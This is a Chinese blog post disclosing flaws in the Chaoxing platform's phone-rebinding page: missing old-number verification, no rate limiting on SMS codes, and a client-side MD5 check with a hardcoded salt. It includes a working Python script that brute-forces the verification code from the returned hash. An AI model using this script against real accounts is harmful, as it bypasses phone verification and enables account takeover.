前几天,突然收到学校通知要求登录超星完善资料。偶然间在个人空间页面更换绑定手机发现了点问题。
20200221170323.png
1、首先,更换手机号不需要验证原手机号码
2、其次,输入手机号之后点击发送无任何防人机验证码,跑一下脚本就能给大量手机号码发送验证码。
3、最重要的,也是本文重点所写的。
20200221170929.png
说下是怎么发现这里有问题的呢,在我最开始修改手机号码的时候,输入错误验证码时,发现点击确认修改按钮不会发起网络请求,这就有意思了,或许是在本地验证的吗?
然后看下当我们请求获取手机验证码时返回的内容:

msg: 200
content: "d21d7ead34cbcf116bce67e62197a9f5"
count: 0

想必然d21d7ead34cbcf116bce67e62197a9f5这串32位十六进制是跟验证码有关联的,且可以已知 d21d7ead34cbcf116bce67e62197a9f5已存储在Cookie中。
20200221172009.png
然后再看下确认修改按钮的监听
20200221171745.png
这就很明显了这串字符是服务器通过如下方式计算出来的

hex_md5(vCode.toUpperCase()+"7Yu3aN2JGiE3").toLowerCase()

知道了验证码计算方式,怎么逆向呢?
答案:没办法逆向。原因是MD5信息摘要算法经过一种被广泛使用的密码散列函数,加密过程中会有信息丢失,不可逆。
已知手机验证码为4位长度字母加数字(不考虑大小写),所以就是答案就是猜呗,当然写个脚本来猜会比较快

import hashlib
import multiprocessing
import random

def run():
    while True:
        check_code = ''
        for i in range(4):
            current = random.randrange(0, 4)
            if current == i:
                tmp = chr(random.randint(65, 90))
            else:
                tmp = random.randint(0, 9)
            check_code += str(tmp)

        key = check_code + "7Yu3aN2JGiE3"

        bkey = hashlib.md5(key.encode("utf-8")).hexdigest()

        if bkey == "d21d7ead34cbcf116bce67e62197a9f5":
            print(check_code, key, 'success')

if __name__ == '__main__':
    pool = multiprocessing.Pool(processes = 8)
    item_list = [i for i in range(1,9)]
    for item in item_list:
        pool.apply_async(run)
    pool.close()
    pool.join()

虽然是种笨方法,但是会发现是具有可行性的,并且效率好比较高,平均10s左右就能计算出验证码

脚本写得比较简陋,为了加速使用了多进程,但是没考虑计算出来验证码后进程主动终止问题

运行下脚本,秒出结果S7C3

20200221173252.png

20200221173547.png

Last modification:February 18th, 2020 at 11:45 pm
If you think my article is useful to you, please feel free to appreciate